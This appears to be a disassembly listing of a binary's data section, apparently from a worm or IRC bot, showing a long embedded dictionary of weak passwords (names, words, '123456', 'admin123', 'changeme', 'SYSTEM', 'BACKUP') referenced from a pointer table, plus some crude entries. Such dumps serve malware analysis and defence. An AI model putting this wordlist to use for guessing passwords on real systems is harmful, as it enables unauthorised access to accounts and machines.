aCompany db 'company',0 ; DATA XREF: .nsp0:004298B4o
aCommrade db 'commrade',0 ; DATA XREF: .nsp0:004298B0o
align 4
aCommit db 'commit',0 ; DATA XREF: .nsp0:004298ACo
align 4
aComics db 'comics',0 ; DATA XREF: .nsp0:004298A8o
align 4
aCombat db 'combat',0 ; DATA XREF: .nsp0:004298A4o
align 4
aColor db 'color',0 ; DATA XREF: .nsp0:004298A0o
align 4
aCollins db 'collins',0 ; DATA XREF: .nsp0:0042989Co
aCold db 'cold',0 ; DATA XREF: .nsp0:00429898o
align 4
aCola db 'cola',0 ; DATA XREF: .nsp0:00429894o
align 4
aCoke db 'coke',0 ; DATA XREF: .nsp0:00429890o
align 4
aCoin db 'coin',0 ; DATA XREF: .nsp0:0042988Co
align 4
aCoffee db 'coffee',0 ; DATA XREF: .nsp0:00429888o
align 4
aCodeword db 'codeword',0 ; DATA XREF: .nsp0:00429884o
align 10h
aCodename db 'codename',0 ; DATA XREF: .nsp0:00429880o
align 4
aCode db 'code',0 ; DATA XREF: .nsp0:0042987Co
align 4
aCock db 'cock',0 ; DATA XREF: .nsp0:00429878o
align 4
aCocainco db 'cocainco',0 ; DATA XREF: .nsp0:00429874o
align 4
aCocacola db 'cocacola',0 ; DATA XREF: .nsp0:00429870o
align 4
aCoast db 'coast',0 ; DATA XREF: .nsp0:0042986Co
align 4
aClusters db 'clusters',0 ; DATA XREF: .nsp0:00429868o
align 4
aCluster db 'cluster',0 ; DATA XREF: .nsp0:00429864o
aClinton db 'clinton',0 ; DATA XREF: .nsp0:00429860o
aCleavage db 'cleavage',0 ; DATA XREF: .nsp0:0042985Co
align 4
aClaymore db 'claymore',0 ; DATA XREF: .nsp0:00429858o
align 10h
aClaudia db 'claudia',0 ; DATA XREF: .nsp0:00429854o
aClassic db 'classic',0 ; DATA XREF: .nsp0:00429850o
aClasses db 'classes',0 ; DATA XREF: .nsp0:0042984Co
aClass db 'class',0 ; DATA XREF: .nsp0:00429848o
align 10h
aCindy db 'cindy',0 ; DATA XREF: .nsp0:00429844o
align 4
aCigarett db 'cigarett',0 ; DATA XREF: .nsp0:00429840o
align 4
aCigar db 'cigar',0 ; DATA XREF: .nsp0:0042983Co
align 4
aChristy db 'christy',0 ; DATA XREF: .nsp0:00429838o
aChristin db 'christin',0 ; DATA XREF: .nsp0:00429834o
align 10h
aChris db 'chris',0 ; DATA XREF: .nsp0:00429830o
align 4
aChip db 'chip',0 ; DATA XREF: .nsp0:0042982Co
align 10h
aChester db 'chester',0 ; DATA XREF: .nsp0:00429828o
aChess db 'chess',0 ; DATA XREF: .nsp0:00429824o
align 10h
aChemistr db 'chemistr',0 ; DATA XREF: .nsp0:00429820o
align 4
aChem db 'chem',0 ; DATA XREF: .nsp0:0042981Co
align 4
aChat_0 db 'chat',0 ; DATA XREF: .nsp0:00429818o
align 4
aCharon db 'charon',0 ; DATA XREF: .nsp0:00429814o
align 4
aCharming db 'charming',0 ; DATA XREF: .nsp0:00429810o
align 10h
aCharlie db 'charlie',0 ; DATA XREF: .nsp0:0042980Co
aCharles db 'charles',0 ; DATA XREF: .nsp0:00429808o
aCharity db 'charity',0 ; DATA XREF: .nsp0:00429804o
aChange db 'change',0 ; DATA XREF: .nsp0:00429800o
align 10h
aCerulean db 'cerulean',0 ; DATA XREF: .nsp0:004297FCo
align 4
aCeltics db 'celtics',0 ; DATA XREF: .nsp0:004297F8o
aCeltic db 'celtic',0 ; DATA XREF: .nsp0:004297F4o
align 4
aCelt db 'celt',0 ; DATA XREF: .nsp0:004297F0o
align 4
aCecily db 'cecily',0 ; DATA XREF: .nsp0:004297ECo
align 4
aCayuga db 'cayuga',0 ; DATA XREF: .nsp0:004297E8o
align 4
aCave db 'cave',0 ; DATA XREF: .nsp0:004297E4o
align 4
aCathy db 'cathy',0 ; DATA XREF: .nsp0:004297E0o
align 4
aCatholic db 'catholic',0 ; DATA XREF: .nsp0:004297DCo
align 10h
aCatherin db 'catherin',0 ; DATA XREF: .nsp0:004297D8o
align 4
aCastle db 'castle',0 ; DATA XREF: .nsp0:004297D4o
align 4
aCash db 'cash',0 ; DATA XREF: .nsp0:004297D0o
align 4
aCascades db 'cascades',0 ; DATA XREF: .nsp0:004297CCo
align 4
aCarson db 'carson',0 ; DATA XREF: .nsp0:004297C8o
align 10h
aCarrie db 'carrie',0 ; DATA XREF: .nsp0:004297C4o
align 4
aCaroline db 'caroline',0 ; DATA XREF: .nsp0:004297C0o
align 4
aCarolina db 'carolina',0 ; DATA XREF: .nsp0:004297BCo
align 10h
aCarole db 'carole',0 ; DATA XREF: .nsp0:004297B8o
align 4
aCarol db 'carol',0 ; DATA XREF: .nsp0:004297B4o
align 10h
aCarmen db 'carmen',0 ; DATA XREF: .nsp0:004297B0o
align 4
aCarla db 'carla',0 ; DATA XREF: .nsp0:004297ACo
align 10h
aCaren db 'caren',0 ; DATA XREF: .nsp0:004297A8o
align 4
aCardinal db 'cardinal',0 ; DATA XREF: .nsp0:004297A4o
align 4
aCard db 'card',0 ; DATA XREF: .nsp0:004297A0o
align 4
aCapture db 'capture',0 ; DATA XREF: .nsp0:004061F7o
; .nsp0:0042979Co
aCaptain db 'captain',0 ; DATA XREF: .nsp0:00429798o
aCantor db 'cantor',0 ; DATA XREF: .nsp0:00429794o
align 4
aCandy db 'candy',0 ; DATA XREF: .nsp0:00429790o
align 4
aCandi db 'candi',0 ; DATA XREF: .nsp0:0042978Co
align 4
aCamping db 'camping',0 ; DATA XREF: .nsp0:00429788o
aCampanil db 'campanil',0 ; DATA XREF: .nsp0:00429784o
align 4
aCamille db 'camille',0 ; DATA XREF: .nsp0:00429780o
aCaliforn db 'californ',0 ; DATA XREF: .nsp0:0042977Co
align 4
aButthead db 'butthead',0 ; DATA XREF: .nsp0:00429778o
align 4
aButt db 'butt',0 ; DATA XREF: .nsp0:00429774o
align 10h
aButch db 'butch',0 ; DATA XREF: .nsp0:00429770o
align 4
aBurn db 'burn',0 ; DATA XREF: .nsp0:0042976Co
align 10h
aBurgess db 'burgess',0 ; DATA XREF: .nsp0:00429768o
aBung db 'bung',0 ; DATA XREF: .nsp0:00429764o
align 10h
aBumbling db 'bumbling',0 ; DATA XREF: .nsp0:00429760o
align 4
aBullshit db 'bullshit',0 ; DATA XREF: .nsp0:0042975Co
align 4
aBulls db 'bulls',0 ; DATA XREF: .nsp0:00429758o
align 10h
aBrutefor db 'brutefor',0 ; DATA XREF: .nsp0:00429754o
align 4
aBrute db 'brute',0 ; DATA XREF: .nsp0:00429750o
align 4
aBrunette db 'brunette',0 ; DATA XREF: .nsp0:0042974Co
align 10h
aBrothel db 'brothel',0 ; DATA XREF: .nsp0:00429748o
aBroadway db 'broadway',0 ; DATA XREF: .nsp0:00429744o
align 4
aBridget db 'bridget',0 ; DATA XREF: .nsp0:00429740o
aBrian db 'brian',0 ; DATA XREF: .nsp0:0042973Co
align 4
aBrenda db 'brenda',0 ; DATA XREF: .nsp0:00429738o
align 4
aBreast db 'breast',0 ; DATA XREF: .nsp0:00429734o
align 4
aBreak db 'break',0 ; DATA XREF: .nsp0:00429730o
align 4
aBravo db 'bravo',0 ; DATA XREF: .nsp0:0042972Co
align 4
aBrandy db 'brandy',0 ; DATA XREF: .nsp0:00429728o
align 4
aBrandi db 'brandi',0 ; DATA XREF: .nsp0:00429724o
align 4
aBradley db 'bradley',0 ; DATA XREF: .nsp0:00429720o
aBoyscout db 'boyscout',0 ; DATA XREF: .nsp0:0042971Co
align 4
aBorn db 'born',0 ; DATA XREF: .nsp0:00429718o
align 10h
aBook db 'book',0 ; DATA XREF: .nsp0:00429714o
align 4
aBoobs db 'boobs',0 ; DATA XREF: .nsp0:00429710o
align 10h
aBoob db 'boob',0 ; DATA XREF: .nsp0:0042970Co
align 4
aBoner db 'boner',0 ; DATA XREF: .nsp0:00429708o
align 10h
aBomb db 'bomb',0 ; DATA XREF: .nsp0:00429704o
align 4
aBoard db 'board',0 ; DATA XREF: .nsp0:00429700o
align 10h
aBlues db 'blues',0 ; DATA XREF: .nsp0:004296FCo
align 4
aBlue db 'blue',0 ; DATA XREF: .nsp0:004296F8o
align 10h
aBlowjob db 'blowjob',0 ; DATA XREF: .nsp0:004296F4o
aBlow db 'blow',0 ; DATA XREF: .nsp0:004296F0o
align 10h
aBloodaxe db 'bloodaxe',0 ; DATA XREF: .nsp0:004296ECo
align 4
aBlood db 'blood',0 ; DATA XREF: .nsp0:004296E8o
align 4
aBlondie db 'blondie',0 ; DATA XREF: .nsp0:004296E4o
aBlonde db 'blonde',0 ; DATA XREF: .nsp0:004296E0o
align 4
aBlack db 'black',0 ; DATA XREF: .nsp0:004296DCo
align 4
aBitnet db 'bitnet',0 ; DATA XREF: .nsp0:004296D8o
align 4
aBitmap db 'bitmap',0 ; DATA XREF: .nsp0:004296D4o
align 4
aBitch db 'bitch',0 ; DATA XREF: .nsp0:004296D0o
align 4
aBishop db 'bishop',0 ; DATA XREF: .nsp0:004296CCo
align 4
aBird db 'bird',0 ; DATA XREF: .nsp0:004296C8o
align 4
aBios db 'bios',0 ; DATA XREF: .nsp0:004296C4o
align 4
aBinary db 'binary',0 ; DATA XREF: .nsp0:004296C0o
align 4
aBill db 'bill',0 ; DATA XREF: .nsp0:004296BCo
align 4
aBigfoot db 'bigfoot',0 ; DATA XREF: .nsp0:004296B8o
aBicamera db 'bicamera',0 ; DATA XREF: .nsp0:004296B4o
align 10h
aBible db 'bible',0 ; DATA XREF: .nsp0:004296B0o
align 4
aBeverly db 'beverly',0 ; DATA XREF: .nsp0:004296ACo
aBetty db 'betty',0 ; DATA XREF: .nsp0:004296A8o
align 4
aBetsie db 'betsie',0 ; DATA XREF: .nsp0:004296A4o
align 10h
aBeth db 'beth',0 ; DATA XREF: .nsp0:004296A0o
align 4
aBeta db 'beta',0 ; DATA XREF: .nsp0:0042969Co
align 10h
aBeryl db 'beryl',0 ; DATA XREF: .nsp0:00429698o
align 4
aBerliner db 'berliner',0 ; DATA XREF: .nsp0:00429694o
align 4
aBerlin db 'berlin',0 ; DATA XREF: .nsp0:00429690o
align 4
aBerkeley db 'berkeley',0 ; DATA XREF: .nsp0:0042968Co
align 4
aBeowulf db 'beowulf',0 ; DATA XREF: .nsp0:00429688o
aBenz db 'benz',0 ; DATA XREF: .nsp0:00429684o
align 4
aBeloved db 'beloved',0 ; DATA XREF: .nsp0:00429680o
aBell db 'bell',0 ; DATA XREF: .nsp0:0042967Co
align 4
aBehead db 'behead',0 ; DATA XREF: .nsp0:00429678o
align 10h
aBegin db 'begin',0 ; DATA XREF: .nsp0:00429674o
align 4
aBeethove db 'beethove',0 ; DATA XREF: .nsp0:00429670o
align 4
aBecky db 'becky',0 ; DATA XREF: .nsp0:0042966Co
align 4
aBeaver db 'beaver',0 ; DATA XREF: .nsp0:00429668o
align 4
aBeauty db 'beauty',0 ; DATA XREF: .nsp0:00429664o
align 4
aBeater db 'beater',0 ; DATA XREF: .nsp0:00429660o
align 4
aBeast db 'beast',0 ; DATA XREF: .nsp0:0042965Co
align 4
aBear db 'bear',0 ; DATA XREF: .nsp0:00429658o
align 4
aBeammeup db 'beammeup',0 ; DATA XREF: .nsp0:00429654o
align 10h
aBeach db 'beach',0 ; DATA XREF: .nsp0:00429650o
align 4
aBatman db 'batman',0 ; DATA XREF: .nsp0:0042964Co
align 10h
aBatch db 'batch',0 ; DATA XREF: .nsp0:00429648o
align 4
aBassoon db 'bassoon',0 ; DATA XREF: .nsp0:00429644o
aBass db 'bass',0 ; DATA XREF: .nsp0:00429640o
align 4
aBasic db 'basic',0 ; DATA XREF: .nsp0:0042963Co
align 10h
aBaseball db 'baseball',0 ; DATA XREF: .nsp0:00429638o
align 4
aBartman db 'bartman',0 ; DATA XREF: .nsp0:00429634o
aBart db 'bart',0 ; DATA XREF: .nsp0:00429630o
align 4
aBaritone db 'baritone',0 ; DATA XREF: .nsp0:0042962Co
align 4
aBarf db 'barf',0 ; DATA XREF: .nsp0:00429628o
align 10h
aBare db 'bare',0 ; DATA XREF: .nsp0:00429624o
align 4
aBarber db 'barber',0 ; DATA XREF: .nsp0:00429620o
align 10h
aBarbara db 'barbara',0 ; DATA XREF: .nsp0:0042961Co
aBanks db 'banks',0 ; DATA XREF: .nsp0:00429618o
align 10h
aBank db 'bank',0 ; DATA XREF: .nsp0:00429614o
align 4
aBandit db 'bandit',0 ; DATA XREF: .nsp0:00429610o
align 10h
aBananas db 'bananas',0 ; DATA XREF: .nsp0:0042960Co
aBanana db 'banana',0 ; DATA XREF: .nsp0:00429608o
align 10h
aBall db 'ball',0 ; DATA XREF: .nsp0:00429604o
align 4
aBailey db 'bailey',0 ; DATA XREF: .nsp0:00429600o
align 10h
aBadass db 'badass',0 ; DATA XREF: .nsp0:004295FCo
align 4
aBackdoor db 'backdoor',0 ; DATA XREF: .nsp0:004295F8o
align 4
aBacchus db 'bacchus',0 ; DATA XREF: .nsp0:004295F4o
aBaby db 'baby',0 ; DATA XREF: .nsp0:004295F0o
align 4
aBabe db 'babe',0 ; DATA XREF: .nsp0:004295ECo
align 4
aAzure db 'azure',0 ; DATA XREF: .nsp0:004295E8o
align 4
aAztecs db 'aztecs',0 ; DATA XREF: .nsp0:004295E4o
align 4
aAuthoriz db 'authoriz',0 ; DATA XREF: .nsp0:004295E0o
align 4
aAttack db 'attack',0 ; DATA XREF: .nsp0:004295DCo
align 10h
aAtom db 'atom',0 ; DATA XREF: .nsp0:004295D8o
align 4
aAtmosphe db 'atmosphe',0 ; DATA XREF: .nsp0:004295D4o
align 4
aAthena db 'athena',0 ; DATA XREF: .nsp0:004295D0o
align 4
aAsshole db 'asshole',0 ; DATA XREF: .nsp0:004295CCo
aAsian db 'asian',0 ; DATA XREF: .nsp0:004295C8o
align 4
aArtist db 'artist',0 ; DATA XREF: .nsp0:004295C4o
align 4
aArthur db 'arthur',0 ; DATA XREF: .nsp0:004295C0o
align 4
aArrow db 'arrow',0 ; DATA XREF: .nsp0:004295BCo
align 4
aArmy db 'army',0 ; DATA XREF: .nsp0:004295B8o
align 4
aArlene db 'arlene',0 ; DATA XREF: .nsp0:004295B4o
align 4
aAriadne db 'ariadne',0 ; DATA XREF: .nsp0:004295B0o
aAria db 'aria',0 ; DATA XREF: .nsp0:004295ACo
align 4
aApril db 'april',0 ; DATA XREF: .nsp0:004295A8o
align 4
aApollo13 db 'apollo13',0 ; DATA XREF: .nsp0:004295A4o
align 4
aAnything db 'anything',0 ; DATA XREF: .nsp0:004295A0o
align 4
aAnvils db 'anvils',0 ; DATA XREF: .nsp0:0042959Co
align 4
aAnthropo db 'anthropo',0 ; DATA XREF: .nsp0:00429598o
align 4
aAnthrax db 'anthrax',0 ; DATA XREF: .nsp0:00429594o
aAnswer db 'answer',0 ; DATA XREF: .nsp0:00429590o
align 4
aAnonymou db 'anonymou',0 ; DATA XREF: .nsp0:0042958Co
align 4
aAnon db 'anon',0 ; DATA XREF: .nsp0:00429588o
align 4
aAnnette db 'annette',0 ; DATA XREF: .nsp0:00429584o
aAnne db 'anne',0 ; DATA XREF: .nsp0:00429580o
align 4
aAnna db 'anna',0 ; DATA XREF: .nsp0:0042957Co
align 4
aAnita db 'anita',0 ; DATA XREF: .nsp0:00429578o
align 4
aAnimals db 'animals',0 ; DATA XREF: .nsp0:00429574o
aAnimal db 'animal',0 ; DATA XREF: .nsp0:00429570o
align 4
aAngie db 'angie',0 ; DATA XREF: .nsp0:0042956Co
align 4
aAngerine db 'angerine',0 ; DATA XREF: .nsp0:00429568o
align 10h
aAngela db 'angela',0 ; DATA XREF: .nsp0:00429564o
align 4
aAnfo db 'anfo',0 ; DATA XREF: .nsp0:00429560o
align 10h
aAndy db 'andy',0 ; DATA XREF: .nsp0:0042955Co
align 4
aAndromac db 'andromac',0 ; DATA XREF: .nsp0:00429558o
align 4
aAndroid db 'android',0 ; DATA XREF: .nsp0:00429554o
aAndrea db 'andrea',0 ; DATA XREF: .nsp0:00429550o
align 4
aAnchor db 'anchor',0 ; DATA XREF: .nsp0:0042954Co
align 4
aAnarchy db 'anarchy',0 ; DATA XREF: .nsp0:00429548o
aAnarchis db 'anarchis',0 ; DATA XREF: .nsp0:00429544o
align 10h
aAnalog db 'analog',0 ; DATA XREF: .nsp0:00429540o
align 4
aAnal db 'anal',0 ; DATA XREF: .nsp0:0042953Co
align 10h
aAmorphou db 'amorphou',0 ; DATA XREF: .nsp0:00429538o
align 4
aAmerica db 'america',0 ; DATA XREF: .nsp0:00429534o
aAmber db 'amber',0 ; DATA XREF: .nsp0:00429530o
align 4
aAmanda db 'amanda',0 ; DATA XREF: .nsp0:0042952Co
align 4
aAmadeus db 'amadeus',0 ; DATA XREF: .nsp0:00429528o
aAlphabet db 'alphabet',0 ; DATA XREF: .nsp0:00429524o
align 4
aAllow db 'allow',0 ; DATA XREF: .nsp0:00429520o
align 10h
aAllison db 'allison',0 ; DATA XREF: .nsp0:0042951Co
aAlison db 'alison',0 ; DATA XREF: .nsp0:00429518o
align 10h
aAlisa db 'alisa',0 ; DATA XREF: .nsp0:00429514o
align 4
aAlicia db 'alicia',0 ; DATA XREF: .nsp0:00429510o
align 10h
aAlice db 'alice',0 ; DATA XREF: .nsp0:0042950Co
align 4
aAliases db 'aliases',0 ; DATA XREF: .nsp0:0040320Co
; .nsp0:00429508o
aAlias db 'alias',0 ; DATA XREF: .nsp0:00429504o
align 4
aAlgebra db 'algebra',0 ; DATA XREF: .nsp0:00429500o
aAlexande db 'alexande',0 ; DATA XREF: .nsp0:004294FCo
align 4
aAlex db 'alex',0 ; DATA XREF: .nsp0:004294F8o
align 4
aAlert db 'alert',0 ; DATA XREF: .nsp0:004294F4o
align 4
aAlbert db 'albert',0 ; DATA XREF: .nsp0:004294F0o
align 4
aAlbatros db 'albatros',0 ; DATA XREF: .nsp0:004294ECo
align 10h
aAlbany db 'albany',0 ; DATA XREF: .nsp0:004294E8o
align 4
aAlaska db 'alaska',0 ; DATA XREF: .nsp0:004294E4o
align 10h
aAirplane db 'airplane',0 ; DATA XREF: .nsp0:004294E0o
align 4
aAids db 'aids',0 ; DATA XREF: .nsp0:004294DCo
align 4
aAerobics db 'aerobics',0 ; DATA XREF: .nsp0:004294D8o
align 10h
aAdult db 'adult',0 ; DATA XREF: .nsp0:004294D4o
align 4
aAdrianna db 'adrianna',0 ; DATA XREF: .nsp0:004294D0o
align 4
aAdrian db 'adrian',0 ; DATA XREF: .nsp0:004294CCo
align 4
aAdam db 'adam',0 ; DATA XREF: .nsp0:004294C8o
align 4
aAction db 'action',0 ; DATA XREF: .nsp0:004062E9o
; .nsp0:004294C4o
align 4
aAccount db 'account',0 ; DATA XREF: .nsp0:004294C0o
aAccept db 'accept',0 ; DATA XREF: sub_409A6D+64Bo
; .nsp0:004294BCo
align 4
aAcademic db 'academic',0 ; DATA XREF: .nsp0:004294B8o
align 4
aAcademia db 'academia',0 ; DATA XREF: .nsp0:004294B4o
align 4
a000000 db '000000',0 ; DATA XREF: .nsp0:004294B0o
align 4
a00000 db '00000',0 ; DATA XREF: .nsp0:004294ACo
align 4
a0000 db '0000',0 ; DATA XREF: .nsp0:004294A8o
align 4
a000 db '000',0 ; DATA XREF: .nsp0:004294A4o
aTesting db 'testing',0 ; DATA XREF: .nsp0:004294A0o
aDeath db 'death',0 ; DATA XREF: .nsp0:0042949Co
align 10h
a00 db '00',0 ; DATA XREF: .nsp0:00429498o
align 4
a0_0: ; DATA XREF: sub_40C9E6+2CAo
; .nsp0:00429494o
unicode 0, <0>,0
aXxxxxxxxx db 'xxxxxxxxx',0 ; DATA XREF: .nsp0:00429490o
align 4
aXxxxxxxx db 'xxxxxxxx',0 ; DATA XREF: .nsp0:0042948Co
align 10h
aXxxxxxx db 'xxxxxxx',0 ; DATA XREF: .nsp0:00429488o
aXxxxxx db 'xxxxxx',0 ; DATA XREF: .nsp0:00429484o
align 10h
aXxxxx db 'xxxxx',0 ; DATA XREF: .nsp0:00429480o
align 4
aXxxx db 'xxxx',0 ; DATA XREF: .nsp0:0042947Co
align 10h
aXxx db 'xxx',0 ; DATA XREF: .nsp0:00429478o
aXx db 'xx',0 ; DATA XREF: .nsp0:00429474o
align 4
asc_42FB78: ; DATA XREF: .nsp0:00429470o
; .nsp0:0043FF24o
unicode 0, <x>,0
aGuessme db 'guessme',0 ; DATA XREF: .nsp0:0042946Co
aYouwontguessme db 'youwontguessme',0 ; DATA XREF: .nsp0:00429468o
align 4
aUwontguessme db 'uwontguessme',0 ; DATA XREF: .nsp0:00429464o
align 4
aMirc db 'mirc',0 ; DATA XREF: .nsp0:00405AD9o
; .nsp0:00429460o
align 4
aKiddie db 'kiddie',0 ; DATA XREF: .nsp0:0042945Co
align 4
aScriptkiddie db 'scriptkiddie',0 ; DATA XREF: .nsp0:00429458o
align 4
aScript db 'script',0 ; DATA XREF: .nsp0:00429454o
align 4
aHax0r db 'hax0r',0 ; DATA XREF: .nsp0:00429450o
align 4
aHacker db 'hacker',0 ; DATA XREF: .nsp0:0042944Co
align 4
aL337 db 'l337',0 ; DATA XREF: .nsp0:00429448o
align 4
aL33t db 'l33t',0 ; DATA XREF: .nsp0:00429444o
align 4
aLeet db 'leet',0 ; DATA XREF: .nsp0:00429440o
align 4
aKiller db 'killer',0 ; DATA XREF: .nsp0:0042943Co
align 4
a0wn3d db '0wn3d',0 ; DATA XREF: .nsp0:00429438o
; .nsp0:0042AF24o
align 4
aW00t db 'w00t',0 ; DATA XREF: .nsp0:00429434o
align 4
aHeaven db 'heaven',0 ; DATA XREF: .nsp0:00429430o
align 4
aSpaceman db 'spaceman',0 ; DATA XREF: .nsp0:0042942Co
align 10h
aSatanic db 'satanic',0 ; DATA XREF: .nsp0:00429428o
aSatanik db 'satanik',0 ; DATA XREF: .nsp0:00429424o
aSatan db 'satan',0 ; DATA XREF: .nsp0:00429420o
align 4
aGobo db 'gobo',0 ; DATA XREF: .nsp0:0042941Co
align 10h
aMatthew db 'Matthew',0 ; DATA XREF: .nsp0:00429418o
aMatt db 'Matt',0 ; DATA XREF: .nsp0:00429414o
align 10h
aMat db 'Mat',0 ; DATA XREF: .nsp0:00429410o
aPw db 'pw',0 ; DATA XREF: .nsp0:0042940Co
align 4
aMypass123 db 'mypass123',0 ; DATA XREF: .nsp0:00429408o
align 4
aMypass db 'mypass',0 ; DATA XREF: .nsp0:00429404o
align 4
aPw123 db 'pw123',0 ; DATA XREF: .nsp0:00429400o
align 4
aAdmin123 db 'admin123',0 ; DATA XREF: .nsp0:004293FCo
align 10h
aMypc123 db 'mypc123',0 ; DATA XREF: .nsp0:004293F8o
aMypc db 'mypc',0 ; DATA XREF: .nsp0:004293F4o
align 10h
aLove db 'love',0 ; DATA XREF: .nsp0:004293F0o
align 4
aPwd db 'pwd',0 ; DATA XREF: .nsp0:004293ECo
aLogin db 'login',0 ; DATA XREF: .nsp0:00402591o
; .nsp0:004293E8o
align 4
aHome db 'home',0 ; DATA XREF: .nsp0:004293E4o
align 4
aZxcv db 'zxcv',0 ; DATA XREF: .nsp0:004293E0o
; .nsp0:0042B328o
align 4
aYxcv db 'yxcv',0 ; DATA XREF: .nsp0:004293DCo
align 4
aQwer db 'qwer',0 ; DATA XREF: .nsp0:004293D8o
; .nsp0:0042B294o
align 4
aSecret db 'secret',0 ; DATA XREF: .nsp0:004293D4o
align 4
aAsdf db 'asdf',0 ; DATA XREF: .nsp0:004293D0o
; .nsp0:0042B340o
align 4
aPc db 'pc',0 ; DATA XREF: .nsp0:004293CCo
align 4
aWin db 'win',0 ; DATA XREF: .nsp0:004293C8o
aTest123 db 'test123',0 ; DATA XREF: .nsp0:004293C4o
aAbc db 'abc',0 ; DATA XREF: .nsp0:004293C0o
aAaa db 'aaa',0 ; DATA XREF: .nsp0:004293BCo
; .nsp0:0042B268o
aA_0: ; DATA XREF: .nsp0:00406300o
; .nsp0:004293B8o ...
unicode 0, <a>,0
aCrash db 'crash',0 ; DATA XREF: .nsp0:004036A2o
; .nsp0:004293B4o
align 4
aFucked db 'fucked',0 ; DATA XREF: .nsp0:004293B0o
align 10h
aNetfuck db 'netfuck',0 ; DATA XREF: .nsp0:004293ACo
aIrule db 'irule',0 ; DATA XREF: .nsp0:004293A8o
align 10h
aOwned db 'owned',0 ; DATA XREF: .nsp0:004293A4o
align 4
a0wned db '0wned',0 ; DATA XREF: .nsp0:004293A0o
; .nsp0:0042AF28o
align 10h
aNetDevil db 'net-devil',0 ; DATA XREF: .nsp0:0042939Co
align 4
aNetdevil db 'netdevil',0 ; DATA XREF: .nsp0:00429398o
align 4
aDevil db 'devil',0 ; DATA XREF: .nsp0:00429394o
align 10h
aNilez db 'Nilez',0 ; DATA XREF: .nsp0:00429390o
align 4
aFoobar db 'foobar',0 ; DATA XREF: .nsp0:0042938Co
align 10h
aGod db 'god',0 ; DATA XREF: .nsp0:00429388o
aSex_0 db 'sex',0 ; DATA XREF: .nsp0:00429384o
aPat db 'pat',0 ; DATA XREF: .nsp0:00429380o
aPatrick db 'patrick',0 ; DATA XREF: .nsp0:0042937Co
aAlpha db 'alpha',0 ; DATA XREF: .nsp0:00429378o
align 4
a007 db '007',0 ; DATA XREF: .nsp0:00429374o
; .nsp0:0042AF14o
a123abc db '123abc',0 ; DATA XREF: .nsp0:00429370o
; .nsp0:0042B124o
align 4
a1234qwer db '1234qwer',0 ; DATA XREF: .nsp0:0042936Co
; .nsp0:0042B130o
align 4
a123123 db '123123',0 ; DATA XREF: .nsp0:00429368o
; .nsp0:0042B0D0o
align 4
a121212 db '121212',0 ; DATA XREF: .nsp0:00429364o
; .nsp0:0042B0C8o
align 4
a111111 db '111111',0 ; DATA XREF: .nsp0:00429360o
; .nsp0:0042AF40o
align 4
a110 db '110',0 ; DATA XREF: .nsp0:0042935Co
; .nsp0:0042B094o
a2600 db '2600',0 ; DATA XREF: .nsp0:00429358o
; .nsp0:0042B21Co
align 4
a2003 db '2003',0 ; DATA XREF: sub_41B2E4+BAo
; .nsp0:00429354o ...
align 10h
a2002 db '2002',0 ; DATA XREF: .nsp0:00429350o
; .nsp0:0042B208o
align 4
aXp_0 db 'xp',0 ; DATA XREF: .nsp0:0042934Co
align 4
aEnable db 'enable',0 ; DATA XREF: .nsp0:00429348o
align 4
aGodblessyou db 'godblessyou',0 ; DATA XREF: .nsp0:00429344o
aIhavenopass db 'ihavenopass',0 ; DATA XREF: .nsp0:00429340o
a123asd db '123asd',0 ; DATA XREF: .nsp0:0042933Co
; .nsp0:0042B128o
align 4
aSuper db 'super',0 ; DATA XREF: .nsp0:00429338o
align 4
aInternet db 'Internet',0 ; DATA XREF: .nsp0:00429334o
align 4
a123qwe db '123qwe',0 ; DATA XREF: .nsp0:0042932Co
; .nsp0:0042B12Co
align 10h
aSybase db 'sybase',0 ; DATA XREF: .nsp0:00429328o
align 4
aAbc123 db 'abc123',0 ; DATA XREF: .nsp0:00429320o
align 10h
aAbcd db 'abcd',0 ; DATA XREF: .nsp0:0042931Co
align 4
aPasswd db 'passwd',0 ; DATA XREF: .nsp0:00429314o
align 10h
aPass_0 db 'pass',0 ; DATA XREF: .nsp0:00429310o
align 4
a88888888 db '88888888',0 ; DATA XREF: .nsp0:0042930Co
; .nsp0:0042B060o
align 4
a11111111 db '11111111',0 ; DATA XREF: .nsp0:00429308o
; .nsp0:0042AF48o
align 10h
a111 db '111',0 ; DATA XREF: .nsp0:00429304o
; .nsp0:0042AF34o
a54321 db '54321',0 ; DATA XREF: .nsp0:00429300o
; .nsp0:0042B228o
align 4
a654321 db '654321',0 ; DATA XREF: .nsp0:004292FCo
; .nsp0:0042B22Co
align 4
a123456789 db '123456789',0 ; DATA XREF: .nsp0:004292F8o
; .nsp0:0042B0E8o
align 10h
a12345678 db '12345678',0 ; DATA XREF: .nsp0:004292F4o
; .nsp0:0042B0E4o
align 4
a1234567 db '1234567',0 ; DATA XREF: .nsp0:004292F0o
; .nsp0:0042B0E0o
a123456 db '123456',0 ; DATA XREF: .nsp0:004292ECo
; .nsp0:0042B0DCo
align 4
a12345 db '12345',0 ; DATA XREF: .nsp0:004292E8o
; .nsp0:0042B0D8o
align 4
a1234 db '1234',0 ; DATA XREF: .nsp0:004292E4o
; .nsp0:0042B0D4o
align 4
a123 db '123',0 ; DATA XREF: .nsp0:004292E0o
; .nsp0:0042B0CCo
a12 db '12',0 ; DATA XREF: .nsp0:004292DCo
; .nsp0:0042B0C0o
align 4
a1: ; DATA XREF: .nsp0:004292D8o
; .nsp0:0042AF2Co
unicode 0, <1>,0
aTemp123 db 'temp123',0 ; DATA XREF: .nsp0:004292D4o
aChangeme_0 db 'Changeme',0 ; DATA XREF: .nsp0:004292D0o
align 4
aChangeme db 'changeme',0 ; DATA XREF: .nsp0:004292CCo
align 4
aLinux db 'linux',0 ; DATA XREF: .nsp0:004292C8o
align 10h
aUnix db 'unix',0 ; DATA XREF: .nsp0:004292C4o
align 4
aLocal db 'LOCAL',0 ; DATA XREF: .nsp0:004292C0o
align 10h
aPepsi db 'pepsi',0 ; DATA XREF: .nsp0:004292BCo
align 4
aServer_1 db 'SERVER',0 ; DATA XREF: .nsp0:004292B8o
; .nsp0:0042B678o
align 10h
aSystem_0 db 'SYSTEM',0 ; DATA XREF: .nsp0:004292B4o
; .nsp0:0042B674o
align 4
aBackup db 'BACKUP',0 ; DATA XREF: .nsp0:004292B0o
; .nsp0:0042B670o
align 10h
aAccess db 'ACCESS',0 ; DATA XREF: .nsp0:004292A8o
; .nsp0:0042B668o
align 4
aTest db 'TEST',0 ; DATA XREF: .nsp0:004292A4o
; .nsp0:0042B664o
align 10h
aEdu db 'edu',0 ; DATA XREF: .nsp0:004292A0o
; .nsp0:0042B660o
